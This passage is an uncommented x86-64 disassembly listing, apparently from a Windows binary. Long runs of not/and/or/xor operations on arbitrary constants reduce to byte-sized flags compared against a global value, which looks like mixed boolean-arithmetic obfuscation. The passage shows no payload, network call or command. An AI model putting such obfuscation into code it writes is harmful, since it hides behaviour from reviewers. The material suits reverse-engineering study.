mov edx, r13d
not edx
or ecx, edx
and edx, 0x9778e78f
and r13d, 0x68871870
or r13d, edx
mov edx, eax
not edx
xor r13d, r10d
not ecx
or ecx, r13d
mov esi, r12d
not esi
mov r8d, esi
and r8d, 0x54484c88
and r12d, 0xabb7b377
or r12d, r8d
or esi, eax
and eax, 0x54484c88
and edx, 0xa9b4b111
or edx, eax
xor edx, r12d
not esi
or esi, edx
mov eax, ecx
not eax
and eax, esi
not esi
and esi, ecx
or esi, eax
mov ecx, r9d
mov eax, r9d
and eax, ebx
xor ebx, r9d
or ebx, eax
mov eax, ebx
not eax
and eax, 0x8993a6e4
and ebx, 0x766c591b
or ebx, eax
xor ebx, 0x766c591b
mov eax, esi
and eax, ebx
xor ebx, esi
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
or ecx, 0x89b008a5
mov edx, ecx
not edx
or ebx, 0x220ff252
and ebx, 0xa28ffad6
and eax, 0x9300021
or eax, ebx
and ecx, 0xa28ffad6
and edx, 0x54400508
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and eax, 0x80e5c0b4
and edx, 0x7f1a3f4b
or edx, eax
mov eax, edx
xor eax, 0x16283186
xor edx, 0x1014010
and edx, 0xe1834678
and eax, 0x1e7cb987
or eax, edx
mov ecx, eax
xor ecx, 0x234b980
xor eax, 0x81800628
and eax, 0x9dc8062f
and ecx, 0x6237f9d0
or ecx, eax
mov eax, ecx
xor eax, 0x6237f9d0
mov r10d, edi
not r10d
xor ecx, 0x9c080203
and ecx, 0xde0dd203
mov r9d, eax
and r9d, 0x21f22dfc
or r9d, ecx
mov r11d, r9d
xor r11d, 0x21f22dfc
mov ebx, edi
xor ebx, 0xced36e76
mov edx, ebx
and edx, r10d
and ebx, edi
mov esi, r11d
and esi, 0xced36e76
and eax, 0x312c9189
or eax, esi
mov r14d, edx
not r14d
mov esi, r14d
and esi, 0x75710a2a
and edx, 0x8a8ef5d5
or edx, esi
mov ecx, ebx
not ecx
or r14d, ecx
and ecx, 0x75710a2a
and ebx, 0x8a8ef5d5
or ebx, ecx
xor ebx, edx
mov r15d, dword [rbp - 0x30]
xor r15d, 0xc3436088
mov r8d, dword [rbp - 0x34]
and r15d, r8d
xor r9d, 0xde0dd203
not r14d
or r14d, ebx
mov ecx, r14d
not ecx
and ecx, eax
not eax
and eax, r14d
or eax, ecx
mov ecx, edi
and ecx, 0x481e8024
and r10d, 0xb7e17fdb
or r10d, ecx
or edi, r9d
and r9d, 0x481e8024
and r11d, 0xb7e17fdb
or r11d, r9d
xor r11d, r10d
not edi
or edi, r11d
mov ecx, edi
not ecx
and ecx, 0x2c141bf9
and edi, 0xd3ebe406
or edi, ecx
xor edi, 0xd3ebe406
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov eax, edi
not eax
mov ecx, eax
and ecx, edi
mov edx, ecx
not edx
mov r9d, edi
and r9d, 0x356efd71
mov esi, edi
mov ebx, eax
and ebx, 0x633d99ee
and edi, 0x9cc26611
or edi, ebx
xor edi, 0x4727d092
or edi, eax
and eax, 0xca91028e
or eax, r9d
or esi, edx
and edx, 0x356efd71
and ecx, 0xca91028e
or ecx, edx
xor ecx, eax
not esi
or esi, ecx
mov eax, esi
not eax
and eax, 0x5901bb0a
and esi, 0xa6fe44f5
or esi, eax
mov eax, esi
xor eax, 0x241a4074
and eax, 0x241a497c
xor esi, 0x5901b202
and esi, 0xdbe5b683
or esi, eax
mov eax, esi
xor eax, 0x241a497c
and eax, esi
mov ecx, eax
not ecx
and ecx, 0xe94ab2e5
mov edx, eax
and edx, 0x16b54d1a
or edx, ecx
xor edx, 0x16b54d1a
mov ecx, edx
mov esi, edi
mov r9d, edx
and r9d, edi
xor edx, edi
not edi
and ecx, 0x34fb0fbd
and eax, 0xcb04f042
or eax, ecx
or edi, 0xcb04f042
mov ecx, edi
not ecx
or esi, 0x34fb0fbd
mov ebx, esi
not ebx
and edi, 0x7a2d12ef
and ecx, 0x4d20d10
or ecx, edi
and esi, 0x7a2d12ef
and ebx, 0x8100e000
or ebx, esi
xor ebx, ecx
mov ecx, eax
not ecx
and ecx, ebx
not ebx
and ebx, eax
or ebx, ecx
or edx, r9d
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov edi, ecx
and edi, 0x88d4b20f
and ebx, 0x772b4df0
or ebx, edi
or ecx, edx
and edx, 0x88d4b20f
and eax, 0x772b4df0
or eax, edx
xor eax, ebx
not ecx
or ecx, eax
mov r9d, ecx
mov edx, ecx
xor edx, 0x2bc07c32
and edx, ecx
not ecx
and ecx, 0x20004822
and r9d, 0xbc03410
or r9d, ecx
mov ecx, r9d
xor ecx, 0x9001010
xor r9d, 0xf43fcbef
mov ebx, edx
not ebx
mov eax, r9d
and eax, 0xc6e0ae68
and ecx, 0x29005012
or ecx, eax
or r9d, ebx
and ebx, 0xc6e0ae68
and edx, 0x391f5197
or edx, ebx
xor edx, ecx
not r9d
or r9d, edx
mov eax, r9d
not eax
and eax, 0x5f48e9e7
and r9d, 0xa0b71618
or r9d, eax
mov ecx, dword [rbp - 0x28]
mov eax, ecx
and eax, 0xa37ff28b
and r8d, 0x5c800d74
or r8d, eax
mov edi, r8d
xor edi, 0x5c800d74
xor r8d, 0x225d528a
and r8d, 0x325d5aca
mov eax, edi
and eax, 0xcda2a535
or eax, r8d
xor eax, 0xcda2a534
and edi, 0xfffffffe
or edi, eax
mov eax, edi
not eax
and eax, 0xddfcb96a
and edi, 0x22034695
or edi, eax
mov ebx, edi
xor ebx, 0xddfcb96a
and ecx, 0x564e3324
mov eax, ecx
mov r11d, r15d
and eax, r15d
xor r11d, ecx
or r11d, eax
mov eax, r11d
not eax
and eax, 0x67f1863a
and r11d, 0x980e79c5
or r11d, eax
mov edx, r11d
xor edx, 0x2124b410
xor r11d, 0xce404ae0
xor edi, 0x927f265
and edi, ebx
mov r10d, r11d
mov r8d, ebx
and r8d, r11d
xor r11d, ebx
or ebx, 0x2b24b4f0
mov esi, ebx
not esi
or edx, 0xd4db4b0f
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0xafe2bddf
and edi, 0x501d4220
or edi, eax
mov eax, edx
not eax
or r10d, 0x2b24b4f0
or ecx, ebx
and ebx, 0xafe2bddf
and esi, 0x50194200
or esi, ebx
mov ebx, r10d
not ebx
xor esi, edi
not ecx
or ecx, esi
and edx, 0xd1701c00
and eax, 0x2a04a0f0
or eax, edx
and r10d, 0xd1701c00
and ebx, 0x48b430f
or ebx, r10d
xor ebx, eax
mov eax, ecx
not eax
and eax, ebx
not ebx
and ebx, ecx
or ebx, eax
mov ecx, r11d
or ecx, r8d
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov r8d, ecx
not r8d
mov edx, r8d
and edx, ecx
mov ebx, edx
not ebx
mov eax, ecx
and eax, 0x20265882
mov edi, r8d
and edi, 0x90400248
or edi, eax
mov eax, ecx
or eax, ebx
and ebx, 0x20265882
and edx, 0x90400248
or edx, ebx
xor edx, edi
not eax
or eax, edx
not eax
or eax, 0x4f99a535
mov esi, eax
not esi
and r8d, 0xb3cc38de
and ecx, 0x4c33c721
or ecx, r8d
mov edx, ecx
xor edx, 0x4c33c721
xor ecx, 0x1480880
and ecx, 0x49494a81
mov ebx, edx
and ebx, 0xb6b6b57e
or ebx, ecx
xor ebx, 0xf92f104b
and edx, 0xb0665aca
or edx, ebx
mov ebx, edx
not ebx
and ebx, eax
or eax, edx
mov edi, eax
not edi
and edx, esi
or edx, ebx
mov ecx, edx
not ecx
mov ebx, eax
and ebx, 0x2db1e5c6
and edi, 0x90461a08
or edi, ebx
or eax, ecx
and ecx, 0x2db1e5c6
and edx, 0xd24e1a39
or edx, ecx
xor edx, edi
not eax
or eax, edx
mov ebx, eax
xor ebx, 0x4f99a535
and ebx, eax
mov edx, eax
or edx, 0xb0665aca
mov ecx, edx
not ecx
mov eax, ebx
not eax
mov edi, edx
and edi, 0xdbf90b0d
and ecx, 0x400a430
or ecx, edi
or edx, eax
and eax, 0xdbf90b0d
and ebx, 0x2406f4f2
or ebx, eax
xor ebx, ecx
not edx
or edx, ebx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x5be59271
and edx, 0xa41a6d8e
or edx, ecx
mov ebx, edx
xor ebx, 0x24102008
xor edx, 0x18009000
or eax, 0xbe1ef01e
mov ecx, eax
not ecx
or edx, 0x1600980
and edx, 0x996ad986
and ebx, 0x26142018
or ebx, edx
and eax, 0x996ad986
and ecx, 0x40810661
or ecx, eax
xor ecx, ebx
mov eax, ecx
not eax
and eax, 0x4c634580
and ecx, 0xb39cba7f
or ecx, eax
mov eax, ecx
xor eax, 0xd824a61
mov edx, ecx
xor edx, 0x62283012
and edx, 0x6ea87873
xor ecx, 0xf2ef3d2
and ecx, eax
and eax, 0x9157878c
or eax, edx
mov edx, eax
xor edx, 0x9157878c
mov ebx, eax
xor ebx, 0x6c04c1c0
and ebx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0x2acb9b3
and ecx, 0xfd53464c
or ecx, ebx
xor eax, 0x64886051
and eax, 0xf589e2d5
mov ebx, edx
and ebx, 0xa761d2a
or ebx, eax
xor ebx, 0xa761d2a
or ebx, edx
mov eax, ebx
not eax
mov edx, ecx
not edx
mov edi, edx
and edi, 0x606826e8
and ecx, 0x9f97d917
or ecx, edi
or edx, ebx
and ebx, 0x606826e8
and eax, 0x9f97d917
or eax, ebx
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x1bd2bac
and eax, edx
and edx, 0xfe42d453
or edx, ecx
xor edx, 0xfe42d453
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x407bd66c
and ecx, 0xbf842993
or ecx, edx
mov eax, ecx
xor eax, 0x407bd66c
xor ecx, 0x8a000113
mov edi, eax
or edi, r9d
not r9d
mov ebx, r9d
and ebx, eax
mov edx, r9d
xor edx, eax
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x46c3ffa3
and edx, 0xb93c005c
or edx, ebx
mov ebx, edx
xor ebx, 0x91100048
not edi
and eax, 0x75e47ec8
and ecx, 0x8a1b8137
or ecx, eax
xor ecx, 0x75e47ec8
or ecx, r9d
not ecx
mov eax, edi
and eax, ecx
xor ecx, edi
or ecx, eax
xor edx, 0x46c3ffa3
mov eax, edx
and eax, 0x28ac5594
and ebx, 0xd753aa6b
or ebx, eax
mov r8d, ebx
xor r8d, 0xd753aa6b
mov eax, ecx
not eax
xor ebx, 0x58970dd1
and ebx, r8d
or edx, 0x703b5845
mov edi, edx
not edi
mov r9d, ecx
xor r9d, 0x703b5845
and r9d, eax
and ecx, 0x8fc4a7ba
mov esi, ebx
not esi
mov r10d, esi
and r10d, 0x3eec5c6c
and ebx, 0xc113a393
or ebx, r10d
or esi, edx
and edx, 0x3eec5c6c
and edi, 0x8100a392
or edi, edx
xor edi, ebx
not esi
or esi, edi
mov edx, r9d
and edx, ecx
xor ecx, r9d
or ecx, edx
mov edx, esi
not edx
and edx, ecx
not ecx
and ecx, esi
or ecx, edx
mov edx, r8d
and edx, eax
xor eax, r8d
or eax, edx
mov edx, eax
not edx
and edx, 0xaba395
and eax, 0xff545c6a
or eax, edx
mov edx, eax
xor edx, 0x94541c40
xor eax, 0xaba395
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x6ba8412b
and ecx, 0x9457bed4
or ecx, ebx
or edi, eax
and eax, 0x6ba8412b
and edx, 0x9457bed4
or edx, eax
xor edx, ecx
not edi
or edi, edx
mov r9d, edi
not r9d
mov r8d, edi
mov eax, r9d
and eax, 0xb17bb068
mov r14d, edi
xor r14d, 0xb17bb068
and r14d, edi
mov esi, eax
and esi, r14d
xor r14d, eax
or r14d, esi
mov eax, r14d
not eax
and eax, 0x4e844f97
and r14d, 0xb17bb068
or r14d, eax
mov r15d, r14d
and r14d, edi
and edi, 0xbda3cb40
mov ecx, r9d
and ecx, 0x425c34bf
or ecx, edi
mov edi, ecx
xor edi, 0x425c34bf
xor ecx, 0x35034840
and ecx, 0x35577c50
mov esi, edi
and esi, 0xcaa883af
or esi, ecx
xor esi, 0x87fcb680
and edi, 0xb2abcad0
or edi, esi
mov ecx, edi
not ecx
mov esi, r9d
and esi, 0x4d54352f
xor r8d, 0xb2abcad0
or r8d, esi
mov ebx, r8d
not ebx
mov esi, edi
and esi, 0x4c843356
and ecx, 0xb37bcca9
or ecx, esi
mov r10d, ecx
xor r10d, 0xb37bcca9
mov esi, r8d
and esi, 0x2adccee7
and ebx, 0xd5233118
or ebx, esi
xor ecx, 0x1421d5d1
and ecx, r10d
or edi, 0x58a5e687
mov esi, ecx
not esi
mov r11d, esi
and r11d, 0xf9320c10
and ecx, 0x6cdf3ef
or ecx, r11d
mov edx, edi
not edx
or esi, edi
and edi, 0xf9320c10
and edx, 0x6481168
or edx, edi
xor edx, ecx
mov ecx, ebx
xor ebx, 0x884c687
or ebx, 0xa75a1978
not esi
or esi, edx
mov edx, ebx
not edx
or r8d, 0x58a5e687
and ebx, 0x340e99de
and edx, 0x48a16601
or edx, ebx
mov ebx, r8d
not ebx
and r8d, 0x340e99de
and ebx, 0x83500020
or ebx, r8d
mov r8d, dword [0x1400508cc]
xor ecx, 0xd5233118
xor ebx, edx
mov edx, esi
not edx
and edx, ebx
not ebx
and ebx, esi
or ebx, edx
mov edx, r10d
and edx, ecx
xor ecx, r10d
or ecx, edx
not ecx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xb2abcad0
and ecx, 0x4d54352f
or ecx, edx
mov edx, ecx
xor edx, 0x9a8a91e1
and edx, ecx
or ecx, 0x65756e1e
mov ebx, ecx
not ebx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x1c5b3b5f
and ebx, 0x828080a0
or ebx, esi
or ecx, edi
and edi, 0x1c5b3b5f
and edx, 0xe3a4c4a0
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x65756e1e
and ecx, 0x9a8a91e1
or ecx, edx
mov edx, ecx
not edx
and edx, 0x8b5342b1
and ecx, 0x74acbd4e
or ecx, edx
mov ebx, ecx
xor ebx, 0xc1440
xor ecx, 0x831002b0
and ecx, 0xf7b0abbe
and ebx, 0x84f5441
or ebx, ecx
mov ecx, ebx
xor ecx, 0x56302a1a
xor ebx, 0x8065400
and ecx, 0x56792a5b
and ebx, 0xa986d5a4
or ebx, ecx
mov ecx, ebx
xor ecx, 0xa986d5a4
not r15d
and r9d, r15d
or r14d, r9d
xor r15d, r14d
and r15d, r14d
mov edx, r15d
not edx
mov edi, edx
and edi, 0x752415b2
mov eax, r15d
and eax, 0x8adbea4d
or eax, edi
mov edi, eax
xor edi, 0x8adbea4d
xor ebx, 0x56792a5b
and edi, ebx
xor eax, 0x752415b2
and eax, ecx
or eax, edi
not eax
or eax, ebx
mov edi, eax
not edi
xor ebx, r15d
not ebx
and ebx, r15d
and edx, 0xb6f22f82
and r15d, 0x490dd07d
or r15d, edx
xor r15d, ecx
xor r15d, 0xb6f22f82
and r15d, ecx
mov ecx, ebx
and ecx, r15d
xor r15d, ebx
or r15d, ecx
mov ecx, r15d
not ecx
mov edx, edi
xor edx, ecx
and edx, edi
and eax, 0x75f47199
and edi, 0x8a0b8e66
or edi, eax
and ecx, 0x75f47199
and r15d, 0x8a0b8e66
or r15d, ecx
xor r15d, edi
mov eax, edx
and eax, r15d
xor r15d, edx
or r15d, eax
mov r9d, r15d
not r9d
mov eax, r15d
and eax, 0xc9f95065
mov ecx, r9d
and ecx, 0x3606af9a
or ecx, eax
mov eax, ecx
xor eax, 0x41415041
xor ecx, 0x34062b00
and ecx, 0xbcbe2b24
and eax, 0x4341d4db
or eax, ecx
mov ecx, eax
xor ecx, 0x4341d4db
xor eax, 0xbcbe2b24
and eax, ecx
mov ecx, r15d
and ecx, 0x6bcebbe9
mov r10d, r9d
and r10d, 0x94314416
or r10d, ecx
mov edi, eax
mov esi, eax
xor esi, 0xb8468094
and esi, eax
not eax
and eax, 0x3b032ab5
and edi, 0xc4fcd54a
or edi, eax
mov r11d, edi
xor edi, 0x38020094
or edi, 0x47b97f6b
mov eax, edi
not eax
mov ecx, edi
and ecx, 0xe99e8532
and eax, 0x10400084
or eax, ecx
mov ecx, esi
not ecx
or edi, ecx
and ecx, 0xe99e8532
and esi, 0x16617acd
or esi, ecx
mov ecx, r10d
xor ecx, 0x90000014
xor r10d, 0x6bcebbe9
xor r11d, 0xc4fcd54a
or ecx, 0x47b97f6b
xor esi, eax
mov edx, ecx
not edx
not edi
or edi, esi
mov eax, r11d
and eax, r10d
xor r11d, r10d
or r10d, 0xb8468094
and ecx, 0xa9ae9327
and edx, 0x10400090
or edx, ecx
mov ecx, r10d
not ecx
and r10d, 0xa9ae9327
and ecx, 0x46116c48
or ecx, r10d
xor ecx, edx
mov edx, edi
not edx
and edx, 0x92350a04
and edi, 0x6dcaf5fb
or edi, edx
mov edx, ecx
not edx
and edx, 0x92350a04
and ecx, 0x6dcaf5fb
or ecx, edx
xor ecx, edi
or r11d, eax
mov eax, r11d
not eax
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0xef1e0f82
and ecx, 0x10e1f07d
or ecx, edx
or ebx, r11d
and r11d, 0xef1e0f82
and eax, 0x10e1f07d
or eax, r11d
xor eax, ecx
not ebx
or ebx, eax
and r9d, 0x6894004c
mov eax, r15d
and eax, 0x608a520
or eax, r9d
xor eax, 0x608a520
and r15d, 0x91635a93
or r15d, eax
mov eax, r15d
not eax
and eax, 0x91635a93
and r15d, 0x6e9ca56c
or r15d, eax
mov eax, ebx
not eax
mov edx, eax
and edx, 0x90602ee
mov ecx, ebx
and ecx, 0xf6f9fd11
or ecx, edx
mov edx, r15d
not edx
mov edi, r15d
xor edi, 0x90602ee
and edi, edx
and r15d, 0xf6f9fd11
mov edx, edi
and edx, r15d
xor r15d, edi
or r15d, edx
mov edx, ecx
not edx
and edx, 0x6ed7c151
and ecx, 0x91283eae
or ecx, edx
mov edx, r15d
not edx
and edx, 0x6ed7c151
and r15d, 0x91283eae
or r15d, edx
xor r15d, ecx
mov ecx, r15d
not ecx
and eax, ecx
and r15d, ebx
or r15d, eax
xor ecx, r15d
test ecx, r15d
setne r13b
mov byte [rbp - 0x30], r13b
sete r9b
cmp r8d, 9
setg sil
cmp r8d, 0xa
setl r11b
mov byte [rbp - 0x38], r11b
xor r11b, sil
mov r15d, r11d
xor r15b, 1
mov eax, esi
xor al, r15b
mov r14d, esi
or r14b, r15b
xor r14b, 1
mov ecx, eax
or cl, r14b
xor cl, 1
mov edx, eax
and dl, r15b
and al, sil
mov ebx, edx
and bl, al
xor al, dl
or al, bl
xor al, cl
mov ebx, eax
xor bl, 1
and cl, bl
mov edx, ecx
xor dl, 1
xor cl, al
or dl, bl
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, eax
mov r8d, eax
or cl, dl
mov ebx, ecx
xor bl, 1
mov eax, edx
or al, cl
xor al, 1
and bl, dl
mov r10d, edx
and cl, r8b
or cl, bl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov edi, r10d
and dil, r8b
mov byte [rbp - 0x28], r8b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r12d, r10d
and r12b, dil
mov eax, r10d
xor al, dil
or al, r12b
xor al, bl
xor dl, r10b
or cl, r8b
xor cl, 1
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov r8d, eax
xor r8b, 1
xor dil, 1
mov byte [rbp - 0x23], r10b
mov ecx, r10d
xor cl, dil
or dil, r10b
xor dil, 1
or dil, cl
mov byte [rbp - 0x34], r9b
mov ecx, r9d
xor cl, r13b
and cl, r9b
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
mov r12d, edx
and r12b, bl
xor bl, dl
or bl, r12b
or dl, cl
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
or cl, dl
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
mov r12d, ebx
xor r12b, 1
xor bl, dl
or r12b, cl
xor r12b, 1
or r12b, bl
mov ecx, r12d
xor cl, 1
or r12b, cl
xor r12b, 1
or r12b, cl
mov ecx, eax
and cl, r8b
mov edx, eax
xor dl, cl
xor cl, 1
mov r13d, r8d
or r13b, cl
xor r13b, 1
or dl, r13b
xor dl, 1
xor cl, r8b
or r8b, al
mov ebx, edx
or bl, r8b
xor r8b, dl
mov edx, ebx
xor dl, r8b
xor r8b, 1
or r8b, bl
xor dl, 1
xor r8b, 1
or r8b, dl
or cl, r13b
mov r13d, r8d
xor r13b, 1
mov r10d, r8d
and r10b, r13b
mov ebx, r10d
and bl, r13b
mov edx, r10d
xor dl, r13b
or dl, bl
xor cl, 1
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov eax, edx
xor al, 1
xor cl, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
and bl, cl
or cl, dl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, al
xor al, 1
and dl, al
or dl, bl
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r15d
or cl, r11b
mov edx, ecx
not dl
mov ebx, r15d
or bl, cl
and dl, r15b
and cl, r11b
or cl, dl
xor bl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, 1
mov edx, ecx
mov r9b, byte [rbp - 0x38]
or dl, r9b
xor dl, 1
xor cl, r9b
not cl
and cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
and r11b, sil
and r15b, r9b
or r15b, r11b
mov edx, r14d
and dl, r15b
xor r15b, r14b
or r15b, dl
mov ebx, r15d
xor bl, 1
mov edx, ebx
and dl, r15b
xor bl, dl
xor dl, 1
or dl, r15b
xor dl, 1
or dl, bl
xor dl, 1
xor cl, 1
mov ebx, ecx
or bl, dl
xor cl, dl
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov r15d, ecx
or r15b, dl
and cl, r15b
xor r15b, 1
mov ebx, r15d
xor bl, dl
and bl, r15b
and r15b, dl
xor al, 1
or r15b, cl
xor bl, 1
xor r15b, 1
mov ecx, ebx
xor cl, r15b
or r15b, bl
xor r15b, 1
or r15b, cl
mov ecx, eax
xor cl, r15b
xor cl, 1
and cl, r15b
or r15b, al
xor r15b, 1
mov eax, ecx
and al, r15b
xor r15b, cl
or r15b, al
mov eax, r8d
xor al, r10b
xor r10b, 1
or r10b, r13b
mov ecx, r13d
xor cl, sil
and cl, r13b
or r13b, r8b
mov edx, r13d
xor dl, 1
and dl, r13b
xor r10b, 1
or r10b, al
mov eax, r13d
and al, dl
xor dl, r13b
or dl, al
xor dl, r10b
mov eax, r8d
and al, r13b
xor r13b, r8b
or r13b, al
xor r13b, 1
mov eax, edx
and al, r13b
xor r13b, dl
mov r14d, r12d
xor r14b, 1
or r13b, al
mov eax, r13d
xor al, 1
and al, r9b
and r13b, sil
or r13b, al
xor r8b, sil
mov eax, ecx
xor al, 1
xor cl, r8b
xor r8b, 1
or r8b, al
xor r8b, 1
or r8b, cl
mov eax, r8d
xor al, 1
and r8b, al
mov ecx, eax
and cl, r8b
xor r8b, al
or r8b, cl
mov eax, r8d
xor al, 1
mov ecx, r13d
xor cl, 1
and r8b, cl
or cl, al
xor cl, 1
and al, r13b
or al, r8b
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov r8d, eax
xor r8b, 1
mov edx, r15d
xor dl, 1
mov ecx, edx
or cl, r15b
mov ebx, r8d
or bl, al
mov r9d, ecx
or r9b, dl
xor cl, dl
mov r11d, r9d
xor r11b, cl
xor cl, 1
or cl, r9b
mov edx, ebx
xor dl, 1
xor r11b, 1
xor cl, 1
or cl, r11b
mov r9d, r8d
and r9b, bl
or bl, al
xor bl, 1
and dl, al
or dl, r9b
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ebx, ecx
xor bl, 1
mov eax, edx
xor al, 1
and al, dl
mov r9d, eax
and r9b, dl
xor al, dl
or al, r9b
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, r15d
or cl, r8b
xor cl, 1
xor r8b, r15b
mov edx, ecx
and dl, r8b
xor r8b, cl
or r8b, dl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, r8b
xor bl, r8b
xor r8b, 1
and cl, r8b
or cl, dl
or r8b, al
xor r8b, 1
or r8b, bl
xor r8b, 1
mov eax, ecx
and al, r8b
xor r8b, cl
or r8b, al
mov eax, r14d
and al, r12b
xor al, 1
mov ecx, r12d
xor cl, al
or al, r12b
xor al, 1
or al, cl
xor al, 1
mov ecx, eax
xor cl, r14b
or al, r14b
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
mov edx, r9d
or dl, al
mov ecx, edx
xor cl, r9b
mov ebx, r14d
or bl, r12b
xor bl, 1
or dl, al
mov r11d, edx
xor r11b, cl
or dl, cl
mov ecx, r12d
xor cl, bl
xor dl, 1
or dl, r11b
and bl, cl
xor cl, 1
mov r11d, ebx
and r11b, cl
xor cl, bl
or cl, r11b
mov r11d, ecx
xor r11b, dl
and cl, r11b
and r11b, dl
mov edx, ecx
and dl, r11b
xor r11b, cl
or r11b, dl
and r12b, r9b
or r9b, r14b
and al, r14b
or al, r12b
mov ecx, r9d
xor cl, al
xor al, 1
xor cl, 1
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, r11d
xor al, 1
mov ebx, edx
xor bl, 1
and dl, al
or al, bl
and bl, r11b
or bl, dl
xor bl, 1
mov ecx, eax
xor cl, bl
or bl, al
xor bl, 1
or bl, cl
mov r11d, r8d
xor r11b, 1
mov ecx, r11d
or cl, r8b
mov eax, ecx
or al, r11b
xor cl, r11b
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov r9d, ebx
xor r9b, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
xor cl, 1
mov edx, r9d
and dl, bl
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov eax, ecx
xor al, dl
mov esi, ebx
and sil, cl
xor cl, bl
or cl, sil
mov esi, eax
xor sil, cl
or cl, al
xor cl, 1
or cl, sil
mov eax, ecx
xor al, 1
and cl, al
mov esi, eax
and sil, cl
xor cl, al
or cl, sil
mov eax, edx
xor al, 1
or al, dl
and bl, al
xor al, 1
mov edx, eax
xor dl, r9b
and dl, al
and al, r9b
or al, bl
mov ebx, edx
xor bl, 1
xor dl, al
xor al, 1
or al, bl
xor al, 1
or al, dl
mov r9d, eax
xor r9b, 1
and r11b, r8b
xor r11b, 1
mov edx, r8d
xor dl, r11b
or r11b, r8b
xor r11b, 1
or r11b, dl
mov edx, r9d
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
and al, r11b
xor r11b, 1
xor dl, 1
and dl, r11b
or dl, al
mov eax, r11d
and al, r9b
xor r11b, r9b
or r11b, al
mov eax, r11d
xor al, dl
xor dl, 1
xor al, 1
or dl, r11b
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, ecx
xor al, dl
or dl, cl
xor cl, 1
xor al, 1
or al, cl
mov r9d, eax
xor r9b, 1
or cl, r8b
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, r9d
and bl, al
mov edx, ebx
xor dl, 1
or dl, al
mov eax, ecx
xor al, 1
and al, cl
xor bl, r9b
xor dl, 1
or dl, bl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ebx, edx
xor bl, 1
and bl, al
xor al, 1
and al, dl
or al, bl
mov edx, r9d
xor dl, cl
or cl, r9b
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
mov eax, edi
not al
or cl, dl
mov dl, byte [rbp - 0x34]
and al, dl
mov r8b, byte [rbp - 0x30]
and dil, r8b
or dil, al
xor dil, 1
or dil, dl
mov al, byte [rbp - 0x23]
xor dl, al
xor dl, 1
xor al, dl
xor dl, al
and dl, al
xor dil, 1
mov al, byte [rbp - 0x28]
mov ebx, eax
and bl, r8b
xor al, r8b
or al, bl
xor al, dil
and dil, al
xor dil, 1
mov ebx, edi
xor bl, al
or dil, al
xor dil, 1
or dil, bl
mov r8d, edx
xor r8b, 1
